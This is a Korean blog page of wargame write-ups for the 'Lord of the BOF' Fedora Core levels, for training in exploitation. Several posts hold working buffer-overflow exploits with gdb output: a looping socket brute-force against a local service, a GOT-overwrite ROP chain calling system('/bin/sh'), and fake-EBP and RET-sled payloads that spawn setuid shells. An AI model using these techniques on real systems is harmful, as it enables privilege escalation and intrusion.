검색결과 리스트
Fedora에 해당되는 글 4건
- 2013.05.31 [BOF원정대/Fedora4] cruel -> enigma (5)
- 2013.05.07 [BOF원정대/Fedora3] hell_fire -> evil_wizard (10)
- 2012.12.22 [BOF원정대/Fedora3] iron_golem -> dark_eyes
- 2012.12.22 [BOF원정대/Fedora3] gate -> iron_golem (2)
글
0x080485e0 <main+80>: mov 0x804985c,%eax 0x080485e5 <main+85>: sub $0x4,%esp 0x080485e8 <main+88>: push %eax 0x080485e9 <main+89>: push $0x400 0x080485ee <main+94>: lea 0xfffffc00(%ebp),%eax 0x080485f4 <main+100>: push %eax 0x080485f5 <main+101>: call 0x80483ec ... (gdb) x/x 0x804985c 0x804985c <stdin@@GLIBC_2.0>: 0x00236740 (gdb) x/10x 0x00236740 0x236740 <_IO_2_1_stdin_>: 0xfbad2098 0xb7fe1000 0xb7fe1000 0xb7fe1000 0x236750 <_IO_2_1_stdin_+16>: 0xb7fe1000 0xb7fe1000 0xb7fe1000 0xb7fe1000 0x236760 <_IO_2_1_stdin_+32>: 0xb7fe2000 0x00000000 (gdb) x/10x 0xb7fe1000 0xb7fe1000: 0x61616161 0x61616161 0x61616161 0x61616161 0xb7fe1010: 0x61616161 0x61616161 0x61616161 0x61616161 0xb7fe1020: 0x61616161 0x61616161 ... (gdb) r < exploit ... (gdb) x/10x 0x804985c 0x804985c <stdin@@GLIBC_2.0>: 0x008cb740 0x00000000 0x00000000 0x00000000 0x804986c: 0x00000000 0x00000000 0x00000000 0x00000000 0x804987c: 0x00000000 0x00000000 (gdb) x/4x 0x008cb740 0x8cb740 <_IO_2_1_stdin_>: 0xfbad2098 0xb7f45000 0xb7f45000 0xb7f45000 ... (gdb) r < exploit ... (gdb) x/4x 0x008cb740 0x8cb740 <_IO_2_1_stdin_>: 0xfbad2098 0xb7ff5000 0xb7ff5000 0xb7ff5000 ... (gdb) r < exploit (gdb) x/4x 0x008cb740 0x8cb740 <_IO_2_1_stdin_>: 0xfbad2098 0xb7fba000 0xb7fba000 0xb7fba000
stdin 버퍼의 주소값이 있는 곳이 0x008cb744 또는, 0x00236744 일 확률이 높다.
버퍼의 주소또한,
0xb7f??000 으로 두자리밖에 안바뀐다, (대충 300번정도 돌리면 한번은 걸린다는소리)
이 특징을 이용해서, fake_ebp를 시도한다.
from struct import * from socket import * import time leave_ret = pack('<I',0x0804858e) fake_ebp = 0xb7ff5000+272 i=0 while True: print i i=i+1 buf = "" buf+="a"*260 buf+=pack('<I',fake_ebp) buf+=leave_ret buf+=pack('<I',0x31337) buf+=pack('<I',fake_ebp) # fake_ebp buf+=pack('<I',0x832abc) # 1 execve("/bin/sh",0) buf+="AAAA" # 2 buf+=pack('<I',0x8bd987) # 3 &"/bin/sh" buf+=pack('<I',fake_ebp+4*5) # 4 buf+=pack('<I',fake_ebp+4*6) # 5 buf+="\x00\x00\x00\x00" # 6 s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',7777)) s.recv(1024) s.send(buf) time.sleep(0.1) try: for j in range(0,10): s.send("my-pass\n") except: s.close() continue try: get = s.recv(1024) print get s.close() break except: print "except" s.close() continue s.close()
하….. 이게 맞았는지 틀렸는지 확실하지 않으니까, 틀렸다는걸 알아채는데 좀 오래걸린다.
그리고, send(“my-pass\n”) 를 두번이상 보내야한다.. 아마 시간차때문인듯 하다.
$ python exploit.py ... except 159 euid = 502 let me ride
(근데, execve 대신 system함수를 사용하면, system함수 내부에서 __i686.get_pc_thunk.bx를 call할때 에러가 난다. 이유는 모르겠다…)
'Computer Security > WarGame' 카테고리의 다른 글
[exploit-exercises] Fusion level 00 (3) | 2013.05.31 |
---|---|
[exploit-exercises] ssh setting (0) | 2013.05.31 |
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
트랙백
댓글
글
/* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc < 2){ printf("argv error\n"); exit(0); } // for disturbance RET sleding length = strlen(argv[1]); // healing potion for you setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); printf("%s\n", buffer); }
evil_wizard.c
이번엔 드디어 pop-pop-ret이 있다.
최근 컴파일러에는 pop-pop-ret이 꼭 있다고 한다.
시스템이 구버전이라, 이번 케이스에서는 pop-pop-ret을 강제로 넣어줬다.
hell_fire로 넘어가는 단계에서.. pop-pop-ret없이는 도저히 못하겠어서 그냥 다른 블로그를 좀 베꼈다...
원래 의도는 fgets를 이용해서 custom stack을 만드는게 아닐까 하는데,
자꾸 null이 들어가서 스택을 못만들겠다.. 무슨 방법이 있을텐데 여튼 모르겠어서 그단계는 스킵했다.
여튼 이번엔 fgets가 없는대신 strcpy와 pop-pop-ret이 주어졌다.
공격순서는
1. strcpy로 memcpy의 GOT를 system의 주소값으로 덮어쓴다.
2. strcpy로 bss영역에 "/bin/sh"를 써넣는다.
3. system("/bin/sh")를 실행시킨다.
pop-pop-ret의 주소 알아내기
$ objdump -d evil_wizard | grep pop -A 1 ... 804854f: 58 pop %eax 8048550: 58 pop %eax 8048551: c3 ret ...
memcpy got의 주소와 system의 주소 알아내기
$ objdump -h evil_wizard | grep got 19 .got 00000004 08049868 08049868 00000868 2**2 20 .got.plt 00000038 0804986c 0804986c 0000086c 2**2 $ gdb -q evil_wizard (gdb) b *main+319 (gdb) r 1 (gdb) x/10x 0x804986c 0x804986c <_GLOBAL_OFFSET_TABLE_>: 0x080497a0 0x007194f8 0x0070e9e0 0x00783d70 0x804987c <_GLOBAL_OFFSET_TABLE_+16>: 0x007d98f0 0x00730d50 0x0075e660 0x007854c0 0x804988c <_GLOBAL_OFFSET_TABLE_+32>: 0x007d9860 0x0804845a (gdb) print memcpy $1 = {<text variable, no debug info>} 0x7854c0 <memcpy> (gdb) x/x 0x8049888 0x8049888 <_GLOBAL_OFFSET_TABLE_+28>: 0x007854c0 (gdb) print system $2 = {<text variable, no debug info>} 0x7507c0 <system> (gdb) print strcpy $2 = {<text variable, no debug info>} 0x783880 <strcpy> (gdb) x/i 0x8048494 0x8048494 <_init+200>: jmp *0x80498a0 (gdb) x/x 0x80498a0 0x80498a0 <_GLOBAL_OFFSET_TABLE_+52>: 0x00783880
memcpy의 got 주소는 0x8049888, system의 주소는0x7507c0, strcpy의 주소는 0x8048494 이다.
또, /bin/sh를 넣기위한 공간을 구한다.
$ objdump -h evil_wizard | grep bss 22 .bss 00000004 080498b0 080498b0 000008b0 2**2 $ gdb -q evil_wizard (gdb) b *main Breakpoint 1 at 0x8048554 (gdb) r 1 Starting program: /home/hell_fire/evil_wizard 1 (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x08048554 in main () (gdb) x/10x 0x080498b0 0x80498b0 <completed.1>: 0x00000000 0x00000000 0x00000000 0x00000000 0x80498c0: 0x00000000 0x00000000 0x00000000 0x00000000 0x80498d0: 0x00000000 0x00000000
/bin/sh은 0x80498c0 정도에 넣도록 하겠다.
그럼 이제, strcpy를 통해 넣어야하니, 필요한 글자들의 위치를 찾아낸다.
찾아내야할 문자들은, \x00,\x75,\x07,\xc0,/,b,i,n,s,h
$ objdump -s evil_wizard | grep 00 ... 8048148 03000000 0f000000 0d000000 07000000 ................ ... $ objdump -s evil_wizard | grep 75 ... 80486f4 0000005b 81c37511 00008d83 20ffffff ...[..u..... ... ... $ objdump -s evil_wizard | grep 07 ... 8048148 03000000 0f000000 0d000000 07000000 ................ ... $ objdump -s evil_wizard | grep c0 ... 8048524 ec08a19c 97040885 c07419b8 00000000 .........t...... ... $ objdump -s evil_wizard | grep / 8048114 2f6c6962 2f6c642d 6c696e75 782e736f /lib/ld-linux.so ... $ objdump -s evil_wizard | grep h ... 804836c 68980408 060d0000 h....... ...
전부 알아냈으니, 이제 exploit
import os import struct def L_E(number): return struct.pack('<I',number) PPR = 0x804854f # pop-pop-ret STRCPY = 0x8048494 MEMCPY = 0x8048434 MEMCPY_GOT = 0x8049888 BINSH = 0x80498C0 payload = 'A'*268 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT) payload += L_E(0x8048524+8) # c0 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+1) payload += L_E(0x8048148+12) # 07 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+2) payload += L_E(0x80486f4+6) # 75 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(MEMCPY_GOT+3) payload += L_E(0x8048148+1) # 00 payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH) payload += L_E(0x8048114) # / payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+1) payload += L_E(0x8048114+3) # b payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+2) payload += L_E(0x8048114+2) # i payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+3) payload += L_E(0x8048114+10) # n payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+4) payload += L_E(0x8048114) # / payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+5) #payload += L_E(0x8048114+14) # s payload += L_E(0x8048780+5) # s payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+6) payload += L_E(0x804836c) # h payload += L_E(STRCPY) payload += L_E(PPR) payload += L_E(BINSH+7) payload += L_E(0x8048148+1) # 00 payload += L_E(MEMCPY) payload += "AAAA" payload += L_E(BINSH) os.system('./evil_wizard '+payload)
$ python exploit.py AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÈñ÷þ”Oˆ,”O‰”OŠú”O‹”O”O”O”O”O”OÅ…”OÆl”OÇ4AAAAÀ˜ sh-3.00$ my-pass euid = 504 get down like that
'Computer Security > WarGame' 카테고리의 다른 글
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
[BOF원정대/Fedora3] iron_golem -> dark_eyes (0) | 2012.12.22 |
[BOF원정대/Fedora3] gate -> iron_golem (2) | 2012.12.22 |
트랙백
댓글
글
/* The Lord of the BOF : The Fellowship of the BOF - dark_eyes - Local BOF on Fedora Core 3 - hint : RET sleding */ int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; if(argc < 2){ printf("argv error\n"); exit(0); } // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); printf("%s\n", buffer); } |
dark_eyes.c
이번 문제에서는 fake ebp를 사용못하게 되었습니다.
하지만, execve을 쓰기위해선 ebp 조작이 필요한데, fake ebp말고 다른방법이 하나더 있습니다.
바로 esp를 조작하는 부분입니다.
gate에서는 execl+3 으로 점프하면서 첫 두줄을 실행 안했는데, 그부분을 다시 보자면
push %ebp mov %esp, %ebp |
였습니다.
아시겠나요?? 함수가 시작될때 ebp에는 기존의 esp 값을 넣게됩니다.
즉 esp를 조작하면 그값과 같도록 ebp가 설정된다는것을 이용하면 됩니다.
esp를 조작하는방법은 간단합니다.
ret이 실행되면, 스택에서 return address가 저장되었던 부분이 esp가 되면서 리턴이 됩니다.
이 방법을 이용하여, 원하는 esp가 될때까지 계속 ret을 하시면 됩니다.
여기서 말하는 원하는 esp란..
1. esp+8 부터 esp+(8+4n)이 NULL이 나올때까지 랜덤스택이 아닌 주소값을 가르치고 있을 경우.
2. esp+8 에 있는 주소값을 따라갔을때, string으로 잘라내기 쉬운경우.
이 두가지 조건을 만족하는 esp를 찾으면 됩니다.
찾기위해 gdb로 디버깅을 해보겠습니다.
[iron_golem@Fedora_1stFloor ~]$ gdb -q dark_eyes (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b *main+177 Breakpoint 1 at 0x80484b9 (gdb) r 1 Starting program: /home/iron_golem/dark_eyes 1 (no debugging symbols found)...(no debugging symbols found)...1 Breakpoint 1, 0x080484b9 in main () (gdb) x/10x $esp 0xfef470ec: 0x00730e33 0x00000002 0xfef47174 0xfef47180 0xfef470fc: 0x0070eab6 0x0083eff4 0x00000000 0xfef47100 0xfef4710c: 0xfef47148 0xfef470f0 (gdb) |
보시면, 0x00730e33이 현재 return address 입니다.
그럼, 이제 esp+8이 될수있는 후보를 찾기위해 0xfef47174부터 쭉 보면 되겠네요.
하지만, 0xfef47174,0xfef47180은 현재 랜덤스택을 가리키고 있으므로 빼겠습니다.
그럼 다음은 0x0070eab6 한번 이 포인터들이 무엇을 가리키고 있는지 보겠습니다.
(gdb) x/10x 0x0070eab6 0x70eab6 <fixup+150>: 0x83f0558b 0xc18914ec 0xd285c031 0xc9850b74 0x70eac6 <fixup+166>: 0x428b4c74 0x01318b04 0xf8bb8bf0 0x85fffffc 0x70ead6 <fixup+182>: 0x8b0575ff 0x0189e44d |
조금 복잡하네요, 스트링으로 잘라내기위해선 좀 많이 길어보입니다.
물론, 억지로 이걸로 할수도 있긴 하지만 다른포인터를 좀더 찾아보겠습니다.
다음차례인 0x0083eff4를 보겠습니다.
(gdb) x/10x 0x83eff4 0x83eff4 <svcauthsw+712>: 0x0083ed3c 0x00730b96 0x00000000 0x00818df0 0x83f004 <svcauthsw+728>: 0x0077f160 0x0077ee70 0x0077f610 0x0077f440 0x83f014 <svcauthsw+744>: 0x00711720 0x0077d430 |
0x0083ed3c, null이 보이므로, 스트링으로 끊기 좋아보입니다.
이 포인터를 esp+8로 두겠습니다.
이제 그럼 "\x3c\xed\x83"이 파일명입니다.
그러면, esp를 0xfef47180로 둬야 하겠네요.
즉, 0xfef47180의 자리에다가 execve의 return address를 넣어야합니다.
그 앞부분까지는 ret를 실행하고있는 부분의 address를 넣으면 되구요.
(gdb) x/i $eip 0x80484b9 <main+177>: ret |
이부분의 address를 사용하면 되겠습니다.
그리고 이제 execve의 주소를 알아보겠습니다.
전에는, execl로 했는데, 이번엔 불가능합니다.
왜냐하면 현재 스택상황을 보면 두번째 argument가 null인데, execl에서는 두번째 argument가 null일경우 segmentation fault가 뜹니다.
그래서, execve를 사용하겠습니다.
(gdb) print execve $1 = {<text variable, no debug info>} 0x7a5490 <execve> |
excel의 주소는 "\x90\x54\x7a\x00" 이 되겠네요.
gate와 마찬가지로 이제 shell.c를 짜겠습니다.
int main() { setreuid(geteuid(),geteuid()); execl("/bin/sh","",0); } |
그리고 링크를 걸어줍니다.
[iron_golem@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x3c\x2d\x83"'` |
그리고 buf에 얼마만큼 채워야 하는지 봐야 하는데..
굳이 분석할필요없이 사실 소스에 보면 딱 나와있습니다.
sfp부분을 지운다면서 264~267 부분을 지우죠.
그러므로 그냥 gate와 같이 buf의 크기는 264라는것을 알수 있습니다.
이제 공격만 하면 되는데,
구성은
./dark_eyes [A*268][ret*3][execve]
이렇게 공격해주면 되겠네요.
[iron_golem@Fedora_1stFloor ~]$ ./dark_eyes `python -c 'print "A"*268+"\xb9\x84\x04\x08"*3+"\x90\x54\x7a\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA˜Pëþ¹¹¹Tz bash-3.00$ my-pass euid = 502 because of you |
성공했습니다.
'Computer Security > WarGame' 카테고리의 다른 글
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
[BOF원정대/Fedora3] iron_golem -> dark_eyes (0) | 2012.12.22 |
[BOF원정대/Fedora3] gate -> iron_golem (2) | 2012.12.22 |
트랙백
댓글
글
이전 레드햇에서의 BOF원정대와 달라진점은
1. exec-shield : 스택에 존재하는 어셈블리어는 실행이 안됩니다. 즉, 쉘코드를 스택에 올려봐야 소용이 없습니다. 2. 랜덤스택: 스택의 주소가 계속 바뀌기때문에, 어짜피 스택의 한 지점으로 점프하기도 쉽지 않습니다. 3. 00 으로 시작되는 라이브러리 주소: 00(NULL)이 들어감으로써, 라이브러리 주소를 쓰는순간 스트링이 끊깁니다. 즉, 라이브러리 주소는 마지막에 딱 한번만 사용 가능합니다. |
그렇다면, 이를 해결하기위해서 제가 사용할 방법은,
execl을 이용하고, fake ebp를 이용해서 GOT부분을 execl의 argument로서 사용할것입니다.
좀더 풀어서 설명하자면,
execl의 argument는 다음과 같습니다.
execl(실행할 파일 경로, 인자1, 인자2, ... , 인자n, NULL);
이 execl을 이용해서, [uid를 재설정하고 /bin/sh를 실행시키는 프로그램]을 실행시킬겁니다.
그 프로그램은 직접 간단히 코딩해서 컴파일해둡니다.
그리고, execl은 항상 마지막 argument가 NULL(0) 이어야 합니다.
그러면서, 그 argument의 주소가 랜덤이 아닌곳이어야겠죠.
그 주소가 바로 GOT부분입니다.
GOT부분을 보면 대충 ??????? ???????? 00000000
이런식으로 있을것이고, ebp를 조작해서 저 ????? 부분을 argument로 두고,
?????와 같은 이름의 심볼릭 링크를 만들어놔서, 쉘을 실행시키는 프로그램에 연결해두면 성공입니다.
이제 문제로 들어가면,
/* The Lord of the BOF : The Fellowship of the BOF - iron_golem - Local BOF on Fedora Core 3 - hint : fake ebp */ int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
iron_golem.c
소스는 아주 간단합니다. 단지 환경이 좀 까다롭죠.
우선, GOT의 주소를 구하고, fake ebp를 사용할 address를 기억해두겠습니다.
[gate@Fedora_1stFloor ~]$ objdump -h iron_golem iron_golem: file format elf32-i386 Sections: Idx Name Size VMA LMA File off Algn ...... 19 .got 00000004 08049614 08049614 00000614 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .got.plt 0000001c 08049618 08049618 00000618 2**2 CONTENTS, ALLOC, LOAD, DATA 21 .data 0000000c 08049634 08049634 00000634 2**2 CONTENTS, ALLOC, LOAD, DATA 22 .bss 00000004 08049640 08049640 00000640 2**2 ALLOC 23 .comment 00000126 00000000 00000000 00000640 2**0 CONTENTS, READONLY |
objdump로 GOT의 주소를 확인해봅니다.
그리고 gdb로 그 주소를 확인해봅시다.
[gate@Fedora_1stFloor ~]$ gdb -q iron_golem (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) x/10x 0x8049618 0x8049618 <_GLOBAL_OFFSET_TABLE_>: 0x0804954c 0x00000000 0x00000000 0x080482ee 0x8049628 <_GLOBAL_OFFSET_TABLE_+16>: 0x080482fe 0x0804830e 0x0804831e 0x00000000 0x8049638 <__dso_handle>: 0x00000000 0x08049544 |
그럼, 보시다시피 0x8049618부터 첫번째 인자라고 가정할때,
0x084954C가 첫번째 인자인 파일명이 되고,
세번째인자가 NULL이 되므로, argument로 사용하기에 완벽합니다.
그러므로, 저 argment를 사용하기위해 fake ebp를 써야하는데,
왜 fake ebp를 쓰냐면,
argument를 불러올때 ebp를 기준으로 불러오게됩니다.
ebp+8이 첫 argument이고, ebp+C가 두번째 argument이고, 이런식입니다.
그러므로, ebp를 0x8049618 - 8 = 0x8049610 으로 잡아둬야겠죠.
그리고 정확한 파일명을 알아야하기때문에, 0x804954C에 무엇이 들어있는지 보겠습니다.
(gdb) x/4x 0x804954C 0x804954c <_DYNAMIC>: 0x00000001 0x00000024 0x0000000c 0x080482c0 |
little endian 이므로, 읽으면, 0x01 0x00 0x00 0x00 0x24 이런식이 됩니다.
그렇다면, string은 마지막이 0x00(NULL) 이므로, string으로 본다면 "\x01" 이 되겠네요.
그렇다면 파일명은 "\x01"이 됩니다.
그리고 나중에 사용할 파일 shell.c를 만듭니다.
int main() { setreuid(geteuid(),geteuid()); execl("/bin/sh","",0); } |
shell.c
shell.c 는 shell로 컴파일을 해두고
execl로 리턴시켜서 쉘을 획득해야하기 때문에, execl의 위치와 필요한 address를 가져오겠습니다.
[gate@Fedora_1stFloor ~]$ gdb -q iron_golem (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b main Breakpoint 1 at 0x80483d9 (gdb) r Starting program: /home/gate/iron_golem (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x080483d9 in main () (gdb) disas execl Dump of assembler code for function execl: 0x007a5720 <execl+0>: push %ebp 0x007a5721 <execl+1>: mov %esp,%ebp 0x007a5723 <execl+3>: lea 0x10(%ebp),%ecx 0x007a5726 <execl+6>: push %edi 0x007a5727 <execl+7>: push %esi 0x007a5728 <execl+8>: push %ebx 0x007a5729 <execl+9>: sub $0x1038,%esp 0x007a572f <execl+15>: mov 0xc(%ebp),%eax |
여기서 주의해야할점은 0x007a5720의 주소를 기억해둬야하는것이 아니라,
0x007a5723(execl+3)의 주소를 기억해둬야합니다.
왜냐하면 fake ebp를 사용해서 ebp를 강제로 설정할것인데,
첫 두줄은 ebp와 esp를 다시 세팅하는 장면이기때문입니다.
그러므로 리턴할 주소는 0x007a5723이 됩니다.
이제 마지막으로 심볼릭 링크만 걸면 끝납니다.
[gate@Fedora_1stFloor ~]$ ln -s shell `perl -e 'print "\x01"'` [gate@Fedora_1stFloor ~]$ ls ? iron_golem iron_golem.c shell shell.c |
그리고 마지막으로 공격을 하는일만 남았네요.
근데 몇바이트만큼 채워야 하는지 알아야합니다.
fuzzing 을 해서 알아내는 방법도 있지만, 단순히 디버깅을 이용해 알아보겠습니다.
[gate@Fedora_1stFloor ~]$ gdb -q iron_golem (no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) disas main Dump of assembler code for function main: 0x080483d0 <main+0>: push %ebp 0x080483d1 <main+1>: mov %esp,%ebp 0x080483d3 <main+3>: sub $0x108,%esp 0x080483d9 <main+9>: and $0xfffffff0,%esp 0x080483dc <main+12>: mov $0x0,%eax 0x080483e1 <main+17>: add $0xf,%eax 0x080483e4 <main+20>: add $0xf,%eax ...... |
메인을 디스어셈 해보니, 로컬변수를 위해서 0x108 만큼 할당된것을 알수있습니다.
사실, 이 방법은 정확한 방법은 아니지만,
이번 문제에서는 로컬변수가 하나밖에 없기때문에, 0x108이 buf의 크기라고 보셔도 무방합니다.
0x108은 10진법으로 264개이기때문에, buf를 위해 264개의 문자를 채우면 됩니다.
즉 공격코드는
./iron_golem ["A"*264][GOT address - 8][execl address + 3]
이 되겠네요.
[gate@Fedora_1stFloor ~]$ ./iron_golem `python -c 'print "A"*264+"\x10\x96\x04\x08"+"\x23\x57\x7a\x00"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#Wz bash-3.00$ my-pass euid = 501 blood on the fedora |
'Computer Security > WarGame' 카테고리의 다른 글
[BOF원정대/Fedora4] cruel -> enigma (5) | 2013.05.31 |
---|---|
[BOF원정대/Fedora4] dark_stone -> cruel (0) | 2013.05.09 |
[BOF원정대/Fedora3] evil_wizard -> dark_stone (4) | 2013.05.09 |
[BOF원정대/Fedora3] hell_fire -> evil_wizard (10) | 2013.05.07 |
[BOF원정대/Fedora3] iron_golem -> dark_eyes (0) | 2012.12.22 |
[BOF원정대/Fedora3] gate -> iron_golem (2) | 2012.12.22 |
안녕하세요. 궁금한 부분이 있어서 질문 드립니다.
execve 인자 부분인데요.
buf+=pack('<I',fake_ebp+4*5) # 4
buf+=pack('<I',fake_ebp+4*6) # 5
이 두부분 의미를 모르겠네요.
좀 부탁드립니다. 수고하세요
fake_ebp+4*6이 NULL을 가리키고 있는 포인터고, fake_ebp+4*5이 그 포인터의 주소입니다.
아 뒤에 있는 null을 가리키는군요.
오 정말 감사합니다 ^^
execve 의 첫번째인자는 포인터의 주소값을 받나여 ??
문자열을 넘길때는 항상 문자열의 주소값을 넘깁니다.